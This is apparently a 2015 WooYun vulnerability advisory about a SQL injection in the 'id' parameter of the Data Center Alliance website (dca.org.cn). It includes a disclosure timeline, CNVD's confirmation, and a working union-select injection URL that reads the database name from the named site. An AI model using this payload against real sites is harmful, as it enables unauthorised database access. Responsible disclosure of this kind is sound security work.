漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0130202
漏洞标题：中国通信标准化协会数据中心联盟SQL注入漏洞
相关厂商：中国通信标准化协会
漏洞作者： 渔村安全实验室
提交时间：2015-07-29 16:46
修复时间：2015-09-14 16:02
公开时间：2015-09-14 16:02
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-07-29： 细节已通知厂商并且等待厂商处理中
2015-07-31： 厂商已经确认，细节仅向厂商公开
2015-08-10： 细节向核心白帽子及相关领域专家公开
2015-08-20： 细节向普通白帽子公开
2015-08-30： 细节向实习白帽子公开
2015-09-14： 细节向公众公开
简要描述：
数据中心联盟由工信部通信发展司指导成立，现已正式由中国标准化协会（CCSA）管理，成为CCSA的二级协会。数据中心联盟旨在推动数据中心技术和业务研究，掌握国内国际数据中心行业发展动态，为政府和企业制定发展战略提供依据；建设数据中心信息服务平台，提供行业、市场等公共信息服务；依据国家的有关法律、法规和方针政策，组织制订数据中心行业条约，加强行业自律等；根据主管部门要求，协助主管部门推动数据中心标准预研，配合CCSA制定相关标准，并推动标准的在联盟成员的贯彻实施；促进国内外数据中心行业的交流合作；组织数据中心有关的管理、技术、人才、法规等方面的培训。 数据中心联盟下设政府采购云服务研究组、市场环境研究组、可信云工作组、绿色节能工作组、大数据工作组、数据中心IT设备工作组、数据中心基础设施工作组、用户工作组。
详细说明：
http://www.dca.org.cn/chubanwu?id=9&fenlei=联盟介绍&fid=179&zfenlei=活动计划&zid=238
参数id存在SQL注入
http://www.dca.org.cn/chubanwu?id=99999.9'+union+all+select+concat(0x7e21,database(),0x217e),1,2,3,4,5,6,7,8,9,10,11--+a&fenlei=联盟介绍&fid=179&zfenlei=活动计划&zid=238
漏洞证明：
修复方案：
过滤
版权声明：转载请注明来源 渔村安全实验室@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：5
确认时间：2015-07-31 16:01
厂商回复：
CNVD确认所述情况，已经由CNVD通过以往建立的处置渠道向网站管理单位通报。
最新状态：
暂无